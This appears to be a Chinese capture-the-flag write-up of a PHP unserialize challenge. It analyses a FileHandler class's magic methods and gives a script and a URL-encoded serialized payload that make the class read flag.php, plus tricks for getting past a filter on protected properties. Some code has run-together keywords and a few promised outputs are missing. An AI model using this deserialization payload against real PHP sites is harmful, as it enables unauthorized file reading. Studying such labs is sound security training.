<?phpinclude ("flag.php");highlight_file(__FILE__);classFileHandler {protected $op;protected $filename;protected $content;function__construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();
}public functionprocess() {if($this->op == "1") {$this->write();
}else if($this->op == "2") {$res = $this->read();$this->output($res);
}else{$this->output("Bad Hacker!");
}
}private functionwrite() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();
}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");
}else{$this->output("Failed!");
}
}private functionread() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);
}return $res;
}private function output($s) {echo "[Result]:
";echo $s;
}function__destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();
}
}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);
}
}
拿到题目是这样一段代码,开始分析。
反序列化题目大概的重点是两个,一个是属性值可以修改,一个是魔术方法 __destruct 和 __wakeup。从这两个开始入手。
function__destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();
}
首先找到__destruct()开始分析,当op值为2时,将op值变为1。
这里需要注意的是===全等符,==="2"这个2被包裹在双引号中,表示一个字符。
content这个属性的值是置为""的。
接着看向process()方法。
public functionprocess() {if($this->op == "1") {$this->write();
}else if($this->op == "2") {$res = $this->read();$this->output($res);
}else{$this->output("Bad Hacker!");
}
}
当op属性值为1时,执行write()方法。
private functionwrite() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();
}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");
}else{$this->output("Failed!");
}
}
如果设置了filename和content,判断content内容>100则输出Too long;能写入文件中的话,则输出Successful;否则输出Failed。
但是由于content这个属性的值是置为""的,所以无论我们输入什么内容,都会被置为"",这是我们不可控的,那么写一句话之类的是没有用的,也就是说wirte()这个方法对我们拿到flag没有用,不用看他。
回到process()方法接着往下看。
else if($this->op == "2") {$res = $this->read();$this->output($res);
}else{$this->output("Bad Hacker!");
}
当op属性值为2时,执行read()方法。并输出$res的值。
private functionread() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);
}return $res;
}
首先判断了是否设置filename,如果设置有的话,则将文件中的内容读取出来赋给$res。最后$res这个值是会被输出的。
代码一开始就提示了flag所在文件为flag.php,所以filename的值应该是flag.php。
编写
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "flag.php";
}
}
$obj = new FileHandler ;
echo urlencode(serialize($obj));
?>
输出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
这里进行了一个url编码,以防有些字符显示问题。
if(isset($_GET{'str'})) {
$str= (string)$_GET['str'];if(is_valid($str)) {
$obj=unserialize($str);
}
}
最后将得到的payload传入参数即可得flag。
这道题还有一个考点:
protected$op;protected$filename;protected $content;
题目开始定义属性是用的protected,如果我们用这个编写payload的话得到的是
会发现多出了%00,但是因为源码中有这样一串代码
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}
会递归判断传入的str是否在ascii码32-125之间,%00为0,是不存在的,所以这里需要绕过protected。
第一种办法就是将protected改为public,但是这只适用php版本大于等于7.2的。
第二种办法是将属性的s改为S
protected 就是修改成 \00*\00,其实就是 protected 的属性 ,他是 %00*%00op 。但是%00这种字符我们是看不见的。所以浏览器输出就是 *op
private 就是修改成 \00类名\00
修改后为
总结:在看源码时先找到入口,看代码一步一步分析,属性是可构造的,要明白我们想要得到的结果是什么。